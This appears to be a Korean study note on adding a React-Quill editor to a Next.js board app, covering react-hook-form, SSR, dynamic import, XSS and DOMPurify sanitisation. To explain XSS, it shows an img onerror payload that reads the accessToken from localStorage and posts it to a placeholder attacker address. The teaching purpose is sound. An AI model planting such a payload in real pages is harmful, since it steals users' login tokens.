[27-1] 웹 에디터 (React-quill)
[27-2] react-hook-form과 함께 사용하기
[27-3] 크로스 사이트 스크립트 (XSS)
[27-3] Hydration Issue
📂 웹 에디터 적용하기
React-Quill 을 설치
yarn add react-quill
ReactQuill 에서 사용될 스타일 CSS 파일까지 함께 호출해서 스타일도 함께 적용
import ReactQuill from 'react-quill'; import 'react-quill/dist/quill.snow.css';
웹 에디터를 사용하고 싶은 부분에 <ReactQuill />
입력해서 웹 에디터를 사용할 수 있게 된다.
import ReactQuill from "react-quill"; import "react-quill/dist/quill.snow.css"; export default function WebEditorPage() { const handleChange = (value: string) => { console.log(value); }; return ( <div> 작성자: <input type="text" /> <br /> 비밀번호: <input type="password" /> <br /> 제목: <input type="text" /> <br /> 내용: <ReactQuill onChange={handleChange} /> <br /> <button>등록하기</button> </div> ); }
🎯 주의
- ReactQuil의 onChange는 개발자가 만들어 놓은 커스텀 요소다.
- 이름만 같을 뿐 jsx의 onChange요소와는 전혀 다른 개념이다.
📂 웹 에디터 실행
서버사이드 렌더링
을 지원하는데, 서버에서 페이지를 미리 렌더링 하는 단계에서는 브라우저 상이 아니기 때문에 window나 document가 존재하지 않는다.💡 클라이언트 사이드 렌더링 vs 서버 사이드 렌더링
클라이언트 사이드 렌더링
처음 페이지에 접속하면 빈 화면만 보이게 되고, 서버로부터 app.js 파일을 다운로드 받게 되는데 어플리케이션에서 필요한 로직들 뿐만 아니라 어플리케이션을 구동하는 프레임워크, 라이브러리들도 포함되어있다. 그러므로 사이즈가 커서 다운로드 받는 시간이 오래걸린다.
서버 사이드 렌더링
서버에서 필요한 데이터를 모두 가져와서 html 파일을 만들고, 만들어진 html 파일을 동적으로 제어할 수 있는 소스코드와 함께 클라이언트에게 보낸다. 그렇게 되면 클라이언트 쪽에서 html문서를 받아서 바로 유저에게 보여줄 수 있게 된다.
import dynamic from 'next/dynamic'; const ReactQuill = dynamic( async() => await import('react-quill'), { ssr : false })
💡 dynamic import
- ynamic import는 단순히 ssr 이슈를 해결할 뿐만 아니라 성능최적화에도 기여를 해준다.
- 반드시 다운로드를 받아도 되지 않아도 되는 부분은 dynamic import를 사용해 필요한 시점에 다운 받아 올 수 있도록 하면 초기에 다운속도가 향상되어 초기 로딩속도가 향상된다.
입력 페이지
export default function WebEditorPage() { const router = useRouter(); const { register, handleSubmit, setValue, trigger } = useForm<IFormValues>({ mode: "onChange", }); const handleChange = (value: string) => { console.log(value); // register로 등록하지 않고, 강제로 값을 넣어주는 기능!! setValue("contents", value === "<p><br></p>" ? "" : value); // onChange가 됐는지 안됐는지 react-hook-form에 알려주는 기능!! trigger("contents"); }; const onClickSubmit = async (data: IFormValues) => { if (!(data.writer && data.password && data.title && data.contents)) { Modal.warning({ content: "필수 입력 사항입니다." }); return; } try { const result = await createBoard({ variables: { createBoardInput: { writer: data.writer, password: data.password, title: data.title, contents: data.contents, }, }, }); // 완료된 페이지로 이동!! router.push(`/27-04-web-editor-detail/${result.data?.createBoard._id}`); } catch (error) { if (error instanceof Error) Modal.error({ title: error.message }); } }; return ( <form onSubmit={handleSubmit(onClickSubmit)}> 작성자: <input type="text" {...register("writer")} /> <br /> 비밀번호: <input type="password" {...register("password")} /> <br /> 제목: <input type="text" {...register("title")} /> <br /> 내용: <ReactQuill onChange={handleChange} /> <br /> <button>등록하기</button> </form> ); }
상세 페이지
import { useQuery, gql } from "@apollo/client"; import { useRouter } from "next/router"; import { IQuery, IQueryFetchBoardArgs, } from "../../../src/commons/types/generated/types"; import Dompurify from "dompurify"; const FETCH_BOARD = gql` query fetchBoard($boardId: ID!) { fetchBoard(boardId: $boardId) { _id writer title contents } } `; export default function WebEditorDetail() { const router = useRouter(); const { data } = useQuery<Pick<IQuery, "fetchBoard">, IQueryFetchBoardArgs>( FETCH_BOARD, { variables: { boardId: String(router.query.id) }, } ); return ( <div> <div>작성자: {data?.fetchBoard.writer}</div> <div>제목: {data?.fetchBoard.title}</div> <div>내용: {data?.fetchBoard.contents}</div> </div> ); }
📂 웹 에디터로 등록한 게시글 보여주기
<div dangerouslySetInnerHTML={{ __html : HTML 태그 추가 }} />
속성 적용
export default function WebEditorDetail() { const router = useRouter(); const { data } = useQuery<Pick<IQuery, "fetchBoard">, IQueryFetchBoardArgs>( FETCH_BOARD, { variables: { boardId: String(router.query.id) }, } ); return ( <div> <div>작성자: {data?.fetchBoard.writer}</div> <div>제목: {data?.fetchBoard.title}</div> <div dangerouslySetInnerHTML={{ __html: String(data?.fetchBoard.contents)}} /> </div> ); }
<img src="#" onerror=" const aaa = localStorage.getItem('accessToken'); axios.post(해커API주소, {accessToken = aaa}); " />
크로스 사이트 스크립트 (Cross Site Script / XSS)
라고 한다.📂 Dompurify 설치
yarn add dompurify yarn add -D @types/dompurify
코드에 Dompurify를 적용해서 안정성을 확보할 수 있다.
<div dangerouslySetInnerHTML={{ __html: Dompurify.sanitize(String(data?.fetchBoard.contents)) }} />
이렇게 코드를 작성하면 서버 사이드 렌더링 에러가 발생한다. 서버 사이드 렌더링 에러를 해결하기 위해서는 다음과 같은 조건부 렌더링을 추가해주면 된다.
{process.browser && <div dangerouslySetInnerHTML={{ __html: Dompurify.sanitize(String(data?.fetchBoard.contents)) }} /> }
return ( <div> <div style={{color: "red"}}>작성자: {data?.fetchBoard.writer}</div> {process.browser && ( <div style={{color: "green"}}>제목: {data?.fetchBoard.title}</div> )} <div style={{color: "blue"}}>내용: 반갑습니다!<div> </div> )
오류 없이 화면에 렌링
return ( <div> <div style={{color: "red"}}>작성자: {data?.fetchBoard.writer}</div> {process.browser ? ( <div style={{color: "green"}}>제목: {data?.fetchBoard.title}</div> ) : ( <div style={{color: "green"}} /> )} <div style={{color: "blue"}}>내용: 반갑습니다!<div> </div> )